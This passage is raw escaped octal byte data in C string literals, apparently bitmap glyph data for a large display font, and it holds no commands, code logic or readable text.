\"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\360\\370\\370\\374\\374\\374\\374\\374\\376\\374\\374\\374\\374\\374\\370\\370\\360\\360\\340\\300\\200\"\n  \"\\0\\0\\0\\0\\300\\370\\376\\377\\377\\377\\377\\337\\307\\303\\301\\301\\300\\300\\300\\300\\300\\300\\300\\301\\301\\303\\317\\377\\377\\377\\377\\377\"\n  \"\\376\\360\\0\\0\\377\\377\\377\\377\\377\\377\\377\\217\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\"\n  \"\\17\\17\\0\\0\\0\\7\\17\\77\\177\\377\\377\\377\\376\\374\\370\\360\\360\\340\\340\\340\\340\\340\\340\\340\\340\\360\\360\\370\\374\\376\\374x\"\n  \"\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\3\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\360\\370\\370\\370\\374\\374\\374\\374\\374\\374\\374\\374\\370\\370\"\n  \"\\370\\360\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\360\\376\\377\\377\\377\\377\\377\\37\\7\\3\\1\\1\\0\\0\\0\\0\\1\\1\\3\\3\"\n  \"\\17\\37\\77\\17\\0\\360\\360\\360\\360\\360\\360\\360\\377\\377\\377\\377\\377\\377\\377\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\377\\377\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\340\\360\\360\\370\\370\\374\\374|||~|||\\374\\374\\370\\370\\360\\360\\370\\370\\374\\374\\374\"\n  \"\\374\\374\\374\\374\\374\\377\\377\\377\\377\\377\\377\\303\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\303\\377\\377\\377\\377\\377\\374\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\3\\7\\217\\337\\377\\377\\377\\377\\376\\376\\374\\374\\374\\374\\374\\376\\376\\177\\177\\77\\77\\37\\17\\7\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\36\\277\\377\\377\\377\\377\\375\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\360\\360\\360\\340\"\n  \"\\300\\200\\0\\0\\374\\376\\377\\377\\377\\377\\317\\203\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\201\\203\\303\\377\\377\\377\\377\"\n  \"\\377\\377~\\0\\3\\7\\17\\37\\37\\77\\77\\77\\77\\177\\177~~~~~~~\\177\\177\\77\\77\\77\\77\\37\\37\\17\\7\"\n  \"\\3\\1\\0\\0\\0\\0\\370\\370\\370\\370\\370\\370\\370\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\300\\340\\360\\370\\370\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\370\\360\\360\\340\"\n  \"\\200\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\77\\17\\7\\3\\1\\1\\0\\0\\0\\0\\0\\1\\3\\17\\377\\377\\377\\377\\377\"\n  \"\\377\\374\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\370\\370\\360\\340\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\17\\17\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\377\\377\\377\\377\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\\340\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\370\\370\\360\\340\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\17\\17\\17\\7\\7\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\340\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\377\\377\\377\\377\\377\\377\\77\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\2\\7\\17\\37\\37\\77\\77\\77\\177\\177\\177~~\\177\\177\\77\\77\\77\\37\\37\\17\\7\\3\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\370\\370\\370\\370\\370\\370\\370\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\374\\374\\374|<\"\n  \"\\34\\14\\4\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\200\\300\\340\\360\\370\\374\\376\\377\\177\\77\\37\\17\\7\\3\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\77\\37\\17\\7\\17\\37\\177\\377\\377\\377\\376\\374\\360\\340\\300\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\37\\77\\177\\377\\377\\377\\376\\370\\360\"\n  \"\\340\\300\\200\\0\\0\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\7\\7\"\n  \"\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\377\\377\\377\\377\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\374\\374\\374\\374\\374\\374\\370\\370\\374\\374\\374\\376\\374\\374\\374\\370\\360\\340\\360\\370\\370\\374\\374\\374\\376\\374\\374\\374\"\n  \"\\370\\370\\340\\200\\377\\377\\377\\377\\377\\377\\7\\1\\0\\0\\0\\1\\377\\377\\377\\377\\377\\377\\377\\3\\1\\0\\0\\0\\3\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\7\\7\\7\"\n  \"\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\376\\376\\376\\376\\376\\376\\376\\340\\360\\370\\374\\374\\376~~~~~\\376\\376\\376\\376\\374\\370\\370\\360\"\n  \"\\300\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\37\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\377\\377\\377\\377\\377\"\n  \"\\377\\376\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\370\\374\\374\\376\\376~~~~~~\\376\\376\\376\\374\\374\\370\\370\\360\\340\"\n  \"\\300\\0\\0\\0\\340\\374\\377\\377\\377\\377\\377\\77\\17\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\177\\377\\377\\377\"\n  \"\\377\\377\\374\\340\\77\\377\\377\\377\\377\\377\\377\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\377\\377\\377\"\n  \"\\377\\377\\377\\77\\0\\1\\7\\17\\37\\77\\177\\377\\377\\376\\374\\370\\370\\360\\360\\360\\360\\360\\360\\370\\370\\374\\376\\377\\377\\377\\177\\77\"\n  \"\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\3\\3\\3\\3\\3\\7\\3\\3\\3\\3\\3\\1\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\\374\\374\\340\\360\\360\\370\\370\\374\\374\\374\\374\\376\\374\\374\\374\\374\\374\\370\\370\\360\\340\\300\"\n  \"\\200\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\37\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\37\\377\\377\\377\\377\"\n  \"\\377\\377\\374\\340\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\"\n  \"\\377\\377\\377\\177\\0\\377\\377\\377\\377\\377\\377\\377\\377\\374\\370\\360\\340\\340\\340\\340\\340\\340\\340\\360\\360\\370\\374\\376\\377\\377\\377\\177\"\n  \"\\77\\17\\3\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\1\\3\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\177\\177\\177\\177\\177\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\370\\370\\374\\374\\376\\376~~~~~~~\\376\\374\\374\\370\\360\\376\\376\\376\\376\"\n  \"\\376\\376\\376\\0\\360\\376\\377\\377\\377\\377\\377\\77\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\177\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\77\\377\\377\\377\\377\\377\\377\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\1\\7\\37\\77\\177\\377\\377\\377\\376\\374\\370\\370\\360\\360\\360\\360\\360\\360\\370\\374\\374\\377\\177\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\3\\3\\3\\3\\7\\7\\3\\3\\3\\3\\1\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\"\n  \"\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376\\376\\376\\376\\376\\340\\360\\370\\374\\374\\376\\376~~~~~~~\\376\\376\\374\"\n  \"\\374\\370\\370\\60\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\177\\37\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\"\n  \"\\7\\3\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\360\\370\\370\\374\\374\\374\\374\\374\\374\\376\\374\\374\\374\\374\\374\\374\\370\\370\\360\\360\\340\"\n  \"\\300\\200\\0\\0\\0\\0\\0\\37\\177\\377\\377\\377\\377\\377\\363\\341\\301\\300\\300\\200\\200\\200\\0\\0\\1\\1\\3\\7\\17\\37\\37\\7\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\0\\200\\0\\1\\3\\3\\7\\7\\7\\17\\17\\17\\37\\37\\37\\77\\77\\77\\177\\376\\376\\374\\374\\370\\360\"\n  \"\\340\\300\\0\\0\\0\\60|\\376\\377\\377\\374\\374\\370\\360\\360\\340\\340\\340\\340\\340\\340\\340\\340\\340\\360\\360\\370\\377\\377\\377\\377\\177\"\n  \"\\77\\37\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\7\\7\\7\\7\\7\\17\\17\\17\\7\\7\\7\\7\\7\\3\\3\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376\\376\\377\\377\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\\374\\374\\374\\374\\377\\377\\377\\377\\377\\377\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\377\\377\\377\\377\\377\\377\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\177\\377\\377\\377\\377\\377\\376\\360\\340\\340\\340\\340\\340\\340\\360\\360\\370\\370\"\n  \"\\374\\374\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\3\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\"\n  \"\\374\\374\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\3\\37\\177\\377\\377\\377\\377\\377\\374\\360\\360\\340\\340\\340\\340\\340\\340\\360\\370\\370\\376\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\1\\1\\0\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\34\\374\\374\\374\\374\\374\\374\\354\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\374\\374\\374\"\n  \"\\374\\374<\\0\\0\\0\\3\\37\\177\\377\\377\\377\\377\\374\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\\377\\377\\77\"\n  \"\\17\\1\\0\\0\\0\\0\\0\\0\\0\\1\\17\\77\\377\\377\\377\\377\\376\\360\\300\\0\\0\\200\\340\\374\\377\\377\\377\\177\\37\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\377\\377\\377\\377\\376\\376\\377\\377\\377\\77\\17\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\7\\7\\7\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\374\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\340\\340\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\374\"\n  \"\\374\\374\\374\\374\\77\\377\\377\\377\\377\\377\\340\\0\\0\\0\\0\\200\\370\\377\\377\\377\\377\\377\\377\\377\\370\\200\\0\\0\\0\\0\\370\\377\"\n  